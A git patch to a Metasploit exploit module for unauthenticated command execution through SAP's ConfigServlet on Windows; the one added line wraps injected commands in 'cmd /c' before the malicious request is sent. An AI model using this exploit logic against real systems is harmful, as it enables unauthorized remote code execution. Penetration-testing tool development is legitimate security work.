From a1e52b5b278afd034b1d9221f34646ac61cbfc4d Mon Sep 17 00:00:00 2001 From: Andras Kabai Date: Mon, 22 Apr 2013 10:20:45 +0200 Subject: [PATCH] command execution needs cmd /c --- modules/exploits/windows/http/sap_configservlet_exec_noauth.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb index 313265c049..7925d2e0a5 100644 --- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb +++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb @@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit end def execute_command(cmd, opts) + cmd = "cmd /c " + cmd vprint_status("Attempting to execute: #{cmd}") send_evil_request(opts[:sap_configservlet_uri], cmd) end